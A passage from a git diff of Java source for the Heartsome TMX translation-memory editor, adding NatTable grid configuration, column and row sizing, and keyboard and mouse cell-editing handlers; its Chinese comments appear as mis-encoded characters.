configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, lineNumberStyle, DisplayMode.SELECT, + TeNattableConstant.LINENUMBER_CELL_LABEL); + + TmxEditorTextPainter painter = new TmxEditorTextPainter(TmxEditorImpWithNattable.this); + + // source column configuration + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, painter, DisplayMode.NORMAL, + TeNattableConstant.SOURCE_EDIT_CELL_LABEL); + configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITABLE_RULE, IEditableRule.ALWAYS_EDITABLE, + DisplayMode.EDIT, TeNattableConstant.SOURCE_EDIT_CELL_LABEL); + configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITOR, new CellEditor(), DisplayMode.EDIT, + TeNattableConstant.SOURCE_EDIT_CELL_LABEL); + + // target column configuration + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, painter, DisplayMode.NORMAL, + TeNattableConstant.TARGET_EDIT_CELL_LABEL); + configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITABLE_RULE, IEditableRule.ALWAYS_EDITABLE, + DisplayMode.EDIT, TeNattableConstant.TARGET_EDIT_CELL_LABEL); + configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITOR, new CellEditor(), DisplayMode.EDIT, + TeNattableConstant.TARGET_EDIT_CELL_LABEL); + + // attribute column configuration + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, new AttributePainter(natTable), + DisplayMode.NORMAL, TeNattableConstant.ATTRIBUTE_CELL_LABEL); + + // flag column configuration + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, new FlagPainter(), + DisplayMode.NORMAL, TeNattableConstant.FLAG_CELL_LABEL); + return configRegistry; + } + + public class BodyLayer extends AbstractLayerTransform { + private TmxEditorDataProvider bodyDataProvider; + private SelectionLayer selectionLayer; + private ViewportLayer viewportLayer; + private ISelectionProvider selectionProvider; + private DataLayer bodyDataLayer; + + public BodyLayer() { + bodyDataProvider = createBodyDataProvider(); + bodyDataLayer = new DataLayer(bodyDataProvider, 300, 25); + // ColumnReorderLayer columnReorderLayer = new ColumnReorderLayer(bodyDataLayer); + // ColumnHideShowLayer columnHideShowLayer = new ColumnHideShowLayer(columnReorderLayer); + selectionLayer = new SelectionLayer(bodyDataLayer, false); + configSelectionLayer(); + + viewportLayer = new HorizontalViewportLayer(selectionLayer); + setUnderlyingLayer(viewportLayer); + + configLabelAccumulator(); + bodyDataLayer.registerCommandHandler(new UpdateDataCommandHandler(natTable, this)); + } + + public void dispose() { + selectionLayer.clear(); + selectionLayer = null; + viewportLayer = null; + selectionProvider = null; + clearDataCache(); + bodyDataLayer = null; + } + + public void clearDataCache() { + if (bodyDataLayer != null) + bodyDataProvider.clearCache(); + } + + private void configSelectionLayer() { + // 移除点击列头触å‘全选所有行的 Handler + selectionLayer.unregisterCommandHandler(SelectColumnCommand.class); + ISelectionModel rowSelectionModel = new TmxEditorRowSelectionModel(selectionLayer); + + // Preserve selection on updates and sort + selectionLayer.setSelectionModel(rowSelectionModel); + selectionLayer.addConfiguration(new TmxEditorSelectionLayerConfiguration()); + + selectionProvider = new RowSelectionProvider(selectionLayer, true, tmxDataAccess); + } + + public DataLayer getDataLayer() { + return this.bodyDataLayer; + } + + public SelectionLayer getSelectionLayer() { + return selectionLayer; + } + + public ViewportLayer getViewportLayer() { + return this.viewportLayer; + } + + public ISelectionProvider getSelectionProvider() { + return this.selectionProvider; + } + + private TmxEditorDataProvider createBodyDataProvider() { + headerLabels = new HashMap(); + headerLabels.put("id", "No."); + headerLabels.put("srcContent", tmxDataAccess.getCurrSrcLang()); + headerLabels.put("tgtContent", tmxDataAccess.getCurrTgtLang()); + headerLabels.put("attribute", Messages.getString("tmxeditor.tmxeditorimpwithNattable.headerLable1")); + headerLabels.put("flag", ""); + + headerLabelNames = new String[] { "id", "srcContent", "tgtContent", "attribute", "flag", }; + + return new TmxEditorDataProvider(tmxDataAccess, new ReflectiveColumnPropertyAccessor( + headerLabelNames)); + } + + private void configLabelAccumulator() { + ColumnOverrideLabelAccumulator columnLabelAccumulator = new ColumnOverrideLabelAccumulator(this); + columnLabelAccumulator.registerColumnOverrides(0, TeNattableConstant.LINENUMBER_CELL_LABEL); + columnLabelAccumulator.registerColumnOverrides(1, TeNattableConstant.SOURCE_EDIT_CELL_LABEL); + columnLabelAccumulator.registerColumnOverrides(2, TeNattableConstant.TARGET_EDIT_CELL_LABEL); + columnLabelAccumulator.registerColumnOverrides(3, TeNattableConstant.ATTRIBUTE_CELL_LABEL); + columnLabelAccumulator.registerColumnOverrides(4, TeNattableConstant.FLAG_CELL_LABEL); + setConfigLabelAccumulator(columnLabelAccumulator); + } + } + + public class ColumnHeaderLayerStack extends AbstractLayerTransform { + + public ColumnHeaderLayerStack() { + IDataProvider dataProvider = new DefaultColumnHeaderDataProvider(headerLabelNames, headerLabels); + DataLayer dataLayer = new DataLayer(dataProvider); + ColumnHeaderLayer colHeaderLayer = new ColumnHeaderLayer(dataLayer, bodyLayer, + bodyLayer.getSelectionLayer()); + colHeaderLayer.addConfiguration(new DefaultColumnHeaderStyleConfiguration() { + public void configureRegistry(IConfigRegistry configRegistry) { + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, cellPainter, + DisplayMode.NORMAL, GridRegion.COLUMN_HEADER); + configRegistry.registerConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, + new DefaultDisplayConverter(), DisplayMode.NORMAL, GridRegion.COLUMN_HEADER); + // Normal + Style cellStyle = new Style(); + cellStyle + .setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, GUIHelper.COLOR_WIDGET_BACKGROUND); + cellStyle.setAttributeValue(CellStyleAttributes.FOREGROUND_COLOR, GUIHelper.COLOR_BLACK); + cellStyle.setAttributeValue(CellStyleAttributes.HORIZONTAL_ALIGNMENT, hAlign); + cellStyle.setAttributeValue(CellStyleAttributes.VERTICAL_ALIGNMENT, vAlign); + cellStyle.setAttributeValue(CellStyleAttributes.BORDER_STYLE, borderStyle); + cellStyle.setAttributeValue(CellStyleAttributes.FONT, GUIHelper.DEFAULT_FONT); + + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, + DisplayMode.NORMAL, GridRegion.COLUMN_HEADER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, + DisplayMode.NORMAL, GridRegion.CORNER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, + DisplayMode.SELECT, GridRegion.COLUMN_HEADER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, + DisplayMode.SELECT, GridRegion.CORNER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, + DisplayMode.SELECT, GridRegion.ROW_HEADER); + } + }); + + setUnderlyingLayer(colHeaderLayer); + } + } + + private Listener resizeListener = new Listener() { + public void handleEvent(Event event) { + NatTable table = (NatTable) event.widget; + if (table == null || table.isDisposed()) { + return; + } + TeActiveCellEditor.commitWithoutClose(); + int clientAreaWidth = table.getClientArea().width; + if (clientAreaWidth <= 0) { + return; + } + int count = headerLabelNames.length; // 编辑器中的列数 + if (count <= 0) { + return; + } + + Map propertyToColWidths = new HashMap(); + + int tuNumber = tmxDataAccess.getDisplayTuCount(); + String tuNumberStr = tuNumber + ""; + GC gc = new GC(table.getDisplay()); + double _width = (gc.textExtent(tuNumberStr).x + 4) * 1.0; + gc.dispose(); + if (_width < 32.0) { + _width = 32.0; + } + gc.dispose(); + propertyToColWidths.put("id", _width); // 大于1的值为åƒç´ å€¼ï¼Œå°äºŽç­‰äºŽ1的值为除了åƒç´ å€¼å‰©ä¸‹éƒ¨åˆ†çš„百分比(例如0.5,表示50%) + propertyToColWidths.put("srcContent", 0.4); + propertyToColWidths.put("tgtContent", 0.4); + propertyToColWidths.put("attribute", 0.2); + propertyToColWidths.put("flag", 32.0); + + int[] columnPositions = new int[count]; // 需è¦ä¿®æ”¹çš„列的列å·æ•°ç»„ + int[] columnWidths = new int[count]; // 需è¦ä¿®æ”¹çš„列对应的宽度 + double shownPercentage = 1; // 显示的百分比,原始为1ï¼ˆå³ 100%,表示所有列显示,åŽé¢è¦å‡åŽ»è¢«éšè—的列所å çš„百分比) + + for (int i = 0, j = 0; i < count; i++) { + double width = propertyToColWidths.get(headerLabelNames[i]); + columnPositions[j] = i; + if (width > 1) { // 如果指定的是åƒç´ å€¼ + columnWidths[j] = (int) width; + clientAreaWidth -= (int) width; // 从总宽度中除去明确指定åƒç´ çš„列宽 + } + j++; + } + for (int i = 0, j = 0; i < count; i++) { + double width = propertyToColWidths.get(headerLabelNames[i]); + if (width <= 1) { // 如果指定的是百分比 + columnWidths[j] = (int) (clientAreaWidth * (width / shownPercentage)); // 按指定百分比计算åƒç´  + } + j++; + } + table.doCommand(new ClientAreaResizeCommand(table)); + cleanRowHeightCache(); + table.doCommand(new MultiColumnResizeCommand(bodyLayer, columnPositions, columnWidths)); + TeActiveCellEditor.recalculateCellsBounds(); + } + }; + + /** 清除行高计算缓存,清空åŽåœ¨ä¸‹æ¬¡ Paint 事件时触å‘时,会é‡æ–°è®¡ç®—当å‰æ˜¾ç¤ºè¡Œåœ¨è‡ªåŠ¨æ¢è¡Œæ¨¡å¼ä¸‹çš„行高。 */ + private void cleanRowHeightCache() { + rowHeightCache.clear(); + } + + /** 为了é¿å…é‡å¤è®¡ç®—行高,添加了此缓存,用存储已ç»è®¡ç®—过行高的行。 */ + private List rowHeightCache = new ArrayList(); + + /** é‡å†™ Nattable çš„ Paint 事件,实现在绘制å‰è®¡ç®—å„行在自动æ¢è¡Œæ¨¡å¼ä¸‹éœ€è¦çš„最低行高。 */ + private PaintListener paintListener = new PaintListener() { + + @Override + public void paintControl(PaintEvent e) { + resizeRowsHeight(); + natTable.getLayerPainter().paintLayer(natTable, e.gc, 0, 0, new Rectangle(e.x, e.y, e.width, e.height), + natTable.getConfigRegistry()); + } + + }; + + public void resizeRowsHeight() { + ViewportLayer viewportLayer = bodyLayer.getViewportLayer(); + int rowPosition = viewportLayer.getOriginRowPosition() + 1; // 起始行 + int rowCount = viewportLayer.getRowCount(); // 总行数 + List rowPositions = new ArrayList(); + for (int i = 0; i < rowCount; i++) { + int rowp = i + rowPosition; + if (!rowHeightCache.contains(rowp)) { + rowPositions.add(rowp); + rowHeightCache.add(rowp); + } + } + if (rowPositions.size() != 0) { + int[] temp = new int[rowPositions.size()]; + for (int i = 0; i < temp.length; i++) { + temp[i] = rowPositions.get(i); + } + natTable.doCommand(new AutoResizeCurrentRowsCommand(natTable, temp, natTable.getConfigRegistry())); + TeActiveCellEditor.recalculateCellsBounds(); + } + } + + /** + * Internal property change listener for handling workbench font changes. + */ + class FontPropertyChangeListener implements IPropertyChangeListener { + /* + * @see IPropertyChangeListener#propertyChange(org.eclipse.jface.util.PropertyChangeEvent) + */ + public void propertyChange(PropertyChangeEvent event) { + if (natTable == null || natTable.isDisposed()) { + return; + } + String property = event.getProperty(); + + if ("net.heartsome.cat.te.ui.tmxeditor.font".equals(property)) { + Font font = JFaceResources.getFont("net.heartsome.cat.te.ui.tmxeditor.font"); + ICellPainter cellPainter = natTable.getConfigRegistry().getConfigAttribute( + CellConfigAttributes.CELL_PAINTER, DisplayMode.NORMAL, + TeNattableConstant.SOURCE_EDIT_CELL_LABEL); + + if (cellPainter instanceof TmxEditorTextPainter) { + TmxEditorTextPainter textPainter = (TmxEditorTextPainter) cellPainter; + if (textPainter.getFont() == null || !textPainter.getFont().equals(font)) { + TeActiveCellEditor.commit(); + textPainter.loadFont(font); + refrush(); + } + } + } + } + } + + /** + * 得到当å‰é€‰ä¸­çš„è¡Œ + * @return ; + */ + public int[] getSelectedRows() { + SelectionLayer selectionLayer = bodyLayer.getSelectionLayer(); + return selectionLayer.getFullySelectedRowPositions(); + } + + public NatTable getTable() { + return natTable; + } + + public int getSrcColumnIndex() { + return 1; + } + + public int getTgtColumnIndex() { + return 2; + } + + /** + * Dispose nattable ,在调用此方法å‰å¿…é¡»å…³é—­ç¼–è¾‘æ¨¡å¼ ; + */ + public void dispose() { + if (natTable != null && !natTable.isDisposed()) { + natTable.dispose(); + } + this.tmxDataAccess = null; + JFaceResources.getFontRegistry().removeListener(fontChangeListenner); + } + + public boolean isDispose() { + return natTable == null || natTable.isDisposed(); + } + + public void refrush() { + headerLabels.put("srcContent", tmxDataAccess.getCurrSrcLang()); + headerLabels.put("tgtContent", tmxDataAccess.getCurrTgtLang()); + bodyLayer.clearDataCache(); + cleanRowHeightCache(); + redraw(); + } + + public void redraw() { + if (natTable != null && !natTable.isDisposed()) { + natTable.redraw(); + } + } + + public void selectCell(int colIndex, int rowIndex) { + if (colIndex < 0 || colIndex > headerLabelNames.length - 1) { + return; + } + if (rowIndex < 0) { + return; + } + bodyLayer.selectionLayer.doCommand(new SelectCellCommand(bodyLayer.getSelectionLayer(), colIndex, rowIndex, + false, false)); + } + + public void editSelectedCell() { + if (isDispose()) { + return; + } + natTable.doCommand(new EditCellCommand(null, null, null)); + } + + public void setEditorDirty() { + tmxDataAccess.setDirty(true); + } + + public void refreshSelectionedRow() { + PositionCoordinate sel = bodyLayer.selectionLayer.getLastSelectedCellPosition(); + selectCell(sel.columnPosition, sel.rowPosition); + } + + public void setSrcSearchStr(String srcSearchStr) { + this.srcSearchStr = srcSearchStr; + } + + public String getSrcSearchStr() { + return srcSearchStr; + } + + public void setTgtSearchStr(String tgtSearchStr) { + this.tgtSearchStr = tgtSearchStr; + } + + public String getTgtSearchStr() { + return tgtSearchStr; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/action/KeyEditAction.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/action/KeyEditAction.java new file mode 100644 index 0000000..7873012 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/action/KeyEditAction.java @@ -0,0 +1,58 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.action; + +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditor; +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.TeActiveCellEditor; +import net.heartsome.cat.te.tmxeditor.editor.nattable.layer.LayerUtil; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.edit.command.EditCellCommand; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.command.SelectCellCommand; +import net.sourceforge.nattable.ui.action.IKeyAction; +import net.sourceforge.nattable.ui.matcher.LetterOrDigitKeyEventMatcher; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.swt.events.KeyEvent; + +/** + * 按下字æ¯é”®ã€æ•°å­—é”®ã€F2,触å‘å•å…ƒæ ¼è¿›å…¥ç¼–è¾‘æ¨¡å¼ + * @author weachy + * @version + * @since JDK1.5 + */ +public class KeyEditAction implements IKeyAction { + + public void run(NatTable natTable, KeyEvent event) { + Character character = null; + if (LetterOrDigitKeyEventMatcher.isLetterOrDigit(event.character) || event.character == ' ') { + character = Character.valueOf(event.character); + } + ViewportLayer viewportLayer = LayerUtil.getLayer(natTable, ViewportLayer.class); + SelectionLayer selectionLayer = LayerUtil.getLayer(natTable, SelectionLayer.class); + int[] selectedRowIndexs = selectionLayer.getFullySelectedRowPositions(); + if (selectedRowIndexs.length == 0) { + return; + } + // 先记录下å¯è§åŒºåŸŸçš„范围 + int originRowPosition = viewportLayer.getOriginRowPosition(); + int rowCount = viewportLayer.getRowCount(); // 总行数 + int rowIndex = selectedRowIndexs[0]; + if (rowIndex < originRowPosition || rowIndex > originRowPosition + rowCount) { + PositionCoordinate p = selectionLayer.getLastSelectedCellPosition(); + if( p.columnPosition !=1 && p.columnPosition != 2){ + p.columnPosition = 2; + } + natTable.doCommand(new SelectCellCommand(selectionLayer, p.columnPosition, p.rowPosition, false, false)); + } + natTable.doCommand(new EditCellCommand(null, null, null)); + if (character != null) { + ICellEditor iCellEditor = TeActiveCellEditor.getCellEditor(); + if (iCellEditor != null && iCellEditor instanceof CellEditor) { + CellEditor editor = (CellEditor) iCellEditor; + editor.insertCanonicalValue(character); + } + } + } + +} \ No newline at end of file diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/action/MouseEditAction.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/action/MouseEditAction.java new file mode 100644 index 0000000..89436d6 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/action/MouseEditAction.java @@ -0,0 +1,32 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.action; + +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.TeActiveCellEditor; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.edit.command.EditCellCommand; +import net.sourceforge.nattable.selection.command.SelectCellCommand; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.MouseEvent; + +/** + * 当进入编辑模å¼åŽï¼Œåˆ·æ–°åˆ é™¤å…‰æ ‡åŽå†…容和删除标记å‰å†…容的 Command + * @author peason + * @version + * @since JDK1.6 + */ +public class MouseEditAction extends net.sourceforge.nattable.edit.action.MouseEditAction { + + public void run(NatTable natTable, MouseEvent event) { + int columnPosition = natTable.getColumnPositionByX(event.x); + int rowPosition = natTable.getRowPositionByY(event.y); + + boolean withShiftMask = (event.stateMask & SWT.SHIFT) != 0; + boolean withCtrlMask = (event.stateMask & SWT.CTRL) != 0; + natTable.doCommand(new SelectCellCommand(natTable, columnPosition, rowPosition, withShiftMask, withCtrlMask)); + if(columnPosition == 1 || columnPosition == 2){ + natTable.doCommand(new EditCellCommand(null, null, null)); + } else { + TeActiveCellEditor.commit(); + } + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditController.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditController.java new file mode 100644 index 0000000..a8e73c7 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditController.java @@ -0,0 +1,369 @@ +/** + * CellEditController.java + * + * Version information : + * + * Date:2013-6-8 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import java.util.Arrays; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.tmxeditor.TmxEditorConstanst; +import net.heartsome.cat.te.tmxeditor.TmxEditorUtils; +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable; +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable.BodyLayer; +import net.heartsome.cat.te.tmxeditor.editor.nattable.layer.LayerUtil; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.edit.EditConfigAttributes; +import net.sourceforge.nattable.edit.ICellEditHandler; +import net.sourceforge.nattable.edit.command.EditCellCommand; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; +import net.sourceforge.nattable.selection.command.ScrollSelectionCommand; +import net.sourceforge.nattable.style.CellStyleProxy; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.util.GUIHelper; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.jface.text.DocumentEvent; +import org.eclipse.jface.text.IDocument; +import org.eclipse.jface.text.IDocumentListener; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ST; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.custom.VerifyKeyListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.MouseListener; +import org.eclipse.swt.events.VerifyEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public final class CellEditController { + public static boolean editCellInline(final TmxEditorImpWithNattable editor) { + int[] selectedRowIndexs = editor.getSelectedRows(); + if (selectedRowIndexs.length == 0) { + return false; + } + Arrays.sort(selectedRowIndexs); + final int rowIndex = selectedRowIndexs[selectedRowIndexs.length - 1]; + final NatTable natTable = editor.getTable(); + IConfigRegistry configRegistry = natTable.getConfigRegistry(); + ViewportLayer vLayer = LayerUtil.getLayer(natTable, ViewportLayer.class); + int rowPosition = vLayer.getRowPositionByIndex(rowIndex); + rowPosition += 1; + if (rowPosition < 1) { + return false; + } + + final SelectionLayer selectionLayer = LayerUtil.getLayer(natTable, SelectionLayer.class); + int _columnIndex = selectionLayer.getLastSelectedCellPosition().columnPosition; + if (_columnIndex != editor.getSrcColumnIndex() && _columnIndex != editor.getTgtColumnIndex()) { + _columnIndex = editor.getTgtColumnIndex(); + } + final int columnIndex = _columnIndex; + int columnPosition = vLayer.getColumnPositionByIndex(columnIndex); + + LayerCell cell = natTable.getCellByPosition(columnPosition, rowPosition); + + try { + TeActiveCellEditor.commit(); + final List configLabels = cell.getConfigLabels().getLabels(); + Rectangle cellBounds = cell.getBounds(); + + ILayer layer = cell.getLayer(); + + boolean editable = configRegistry.getConfigAttribute(EditConfigAttributes.CELL_EDITABLE_RULE, + DisplayMode.EDIT, configLabels).isEditable(columnIndex, rowIndex); + if (!editable) { + return false; + } + + ICellEditor iCellEditor = configRegistry.getConfigAttribute(EditConfigAttributes.CELL_EDITOR, + DisplayMode.EDIT, configLabels); + IDisplayConverter displayConverter = configRegistry.getConfigAttribute( + CellConfigAttributes.DISPLAY_CONVERTER, DisplayMode.EDIT, configLabels); + IStyle cellStyle = new CellStyleProxy(configRegistry, DisplayMode.EDIT, configLabels); + IDataValidator dataValidator = configRegistry.getConfigAttribute(EditConfigAttributes.DATA_VALIDATOR, + DisplayMode.EDIT, configLabels); + + DataLayer dataLayer = LayerUtil.getLayer(natTable, DataLayer.class); + ICellEditHandler editHandler = new CellEditHandler(iCellEditor, dataLayer, columnIndex, rowIndex); + + final Rectangle editorBounds = layer.getLayerPainter().adjustCellBounds( + new Rectangle(cellBounds.x, cellBounds.y, cellBounds.width, cellBounds.height)); + + TmxTU tu = (TmxTU) cell.getDataValue(); + if (tu == null) { + return false; + } + CellEditorCanonicalValue originalCanonicalValue = null; + String searchString = null; + if (cell.getColumnPosition() == editor.getSrcColumnIndex()) { + originalCanonicalValue = new CellEditorCanonicalValue(tu, tu.getSource()); + searchString = editor.getSrcSearchStr(); + } else if (cell.getColumnPosition() == editor.getTgtColumnIndex()) { + originalCanonicalValue = new CellEditorCanonicalValue(tu, tu.getTarget()); + searchString = editor.getTgtSearchStr(); + } + + TeActiveCellEditor.activate(iCellEditor, editor.getTable(), originalCanonicalValue, null, displayConverter, + cellStyle, dataValidator, editHandler, columnPosition, rowPosition, columnIndex, rowIndex); + final Control editorControl = TeActiveCellEditor.getControl(); + + if (editorControl != null) { + editorControl.setBounds(editorBounds); + } + + if (iCellEditor != null && (iCellEditor instanceof CellEditor) && editorControl != null) { + final CellEditor cellEditor = (CellEditor) iCellEditor; + if (searchString != null && searchString.length() != 0) { + StyledText styledText = cellEditor.getTextViewer().getTextWidget(); + String text = styledText.getText(); + char[] source = text.toCharArray(); + if (TmxEditorImpWithNattable.showNonPrinttingChar) { + searchString = searchString.replaceAll("\\n", TmxEditorConstanst.LINE_SEPARATOR_CHARACTER + + "\n"); + searchString = searchString.replaceAll("\\t", TmxEditorConstanst.TAB_CHARACTER + "\u200B"); + searchString = searchString.replaceAll(" ", TmxEditorConstanst.SPACE_CHARACTER + "\u200B"); + } + TextStyle style = new TextStyle(null, null, GUIHelper.COLOR_GREEN); + List ranges = TmxEditorUtils.calculateSearchStringStyleRange(source, + searchString.toCharArray(), style); + for (StyleRange range : ranges) { + styledText.setStyleRange(range); + } + } + IDocument document = cellEditor.getTextViewer().getDocument(); + if (document != null) { + document.addDocumentListener(new IDocumentListener() { + + @Override + public void documentChanged(DocumentEvent event) { + editor.setEditorDirty(); + // CompositeLayer comlayer = LayerUtil.getLayer(natTable, CompositeLayer.class); + DataLayer dataLayer = LayerUtil.getLayer(natTable, DataLayer.class); + BodyLayer bodyLayer = LayerUtil.getLayer(natTable, BodyLayer.class); + + Rectangle controlBounds = editorControl.getBounds(); + Point p = editorControl.computeSize(controlBounds.width, SWT.DEFAULT, true); + int newHeight = p.y; + + int maxHeight = 0; + IConfigRegistry configRegistry = natTable.getConfigRegistry(); + ICellPainter painter; + LayerCell cell; + SelectionLayer layer = bodyLayer.getSelectionLayer(); + for (int columnPosition = 0; columnPosition < layer.getColumnCount(); columnPosition++) { + if (columnPosition == columnIndex) { + continue; + } + cell = layer.getCellByPosition(columnPosition, rowIndex); + if (cell != null) { + painter = configRegistry.getConfigAttribute(CellConfigAttributes.CELL_PAINTER, + cell.getDisplayMode(), + bodyLayer.getConfigLabelsByPosition(columnPosition, rowIndex).getLabels()); + if (painter != null) { + int preferedHeight = painter.getPreferredHeight(cell, null, configRegistry); + maxHeight = (preferedHeight > maxHeight) ? preferedHeight : maxHeight; + } + } + } + + int rowHeight = dataLayer.getRowHeightByPosition(rowIndex); + // 加上编辑模å¼ä¸‹ï¼ŒStyledTextCellEditor的边框 å¯ä»¥å‚考 TmxEditorTextPainter + newHeight += 4; + newHeight = Math.max(newHeight, maxHeight); + if (rowHeight == newHeight) { + return; + } + + editorBounds.height = newHeight; + int cellStartY = editorBounds.y; + int cellEndY = cellStartY + editorBounds.height; + Rectangle clientArea = natTable.getClientAreaProvider().getClientArea(); + int clientAreaEndY = clientArea.y + clientArea.height; + if (cellEndY > clientAreaEndY) { + editorBounds.height = clientAreaEndY - cellStartY; + } + // comlayer.doCommand(new TurnViewportOffCommand()); + dataLayer.setRowHeightByPosition(dataLayer.getRowPositionByIndex(rowIndex), + editorBounds.height); + // comlayer.doCommand(new TurnViewportOnCommand()); + // if(!editorControl.isDisposed()){ + // editorControl.setSize(editorBounds.width, editorBounds.height); + TeActiveCellEditor.recalculateCellsBounds(); + // natTable.notifyListeners(SWT.Resize, null); + // } + } + + @Override + public void documentAboutToBeChanged(DocumentEvent event) { + } + }); + } + CellEditorTextViewer viewer = cellEditor.getTextViewer(); + final StyledText styledText = viewer.getTextWidget(); + // 移除å‘上和å‘下键默认事件处ç†ï¼Œå°†æ­¤éƒ¨åˆ†å®žçŽ°æ”¾åˆ°upAndDownKeyListener监å¬ä¸­ + styledText.setKeyBinding(SWT.ARROW_DOWN, SWT.NULL); + styledText.setKeyBinding(SWT.ARROW_UP, SWT.NULL); + styledText.addKeyListener(new KeyListener() { + public void keyReleased(KeyEvent e) { + } + + public void keyPressed(KeyEvent e) { + if (e.keyCode == SWT.ESC && e.stateMask == SWT.NONE) { + TeActiveCellEditor.commit(); + return; + } + if (e.keyCode == SWT.ARROW_DOWN && e.stateMask == SWT.NONE) { + int oldOffset = styledText.getCaretOffset(); + styledText.invokeAction(ST.LINE_DOWN); + int newOffset = styledText.getCaretOffset(); + if (oldOffset == newOffset) { + int rowPosition = selectionLayer.getLastSelectedCellPosition().rowPosition; + if (rowPosition != selectionLayer.getRowCount() - 1) { // å‡åŽ»åˆ—头行 + TeActiveCellEditor.commit(); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.DOWN, 1, false, false)); + natTable.doCommand(new EditCellCommand(null, null, null)); + } + } + } else if (e.keyCode == SWT.ARROW_UP && e.stateMask == SWT.NONE) { + int oldOffset = styledText.getCaretOffset(); + styledText.invokeAction(ST.LINE_UP); + int newOffset = styledText.getCaretOffset(); + if (oldOffset == newOffset) { + int rowPosition = selectionLayer.getLastSelectedCellPosition().rowPosition; + if 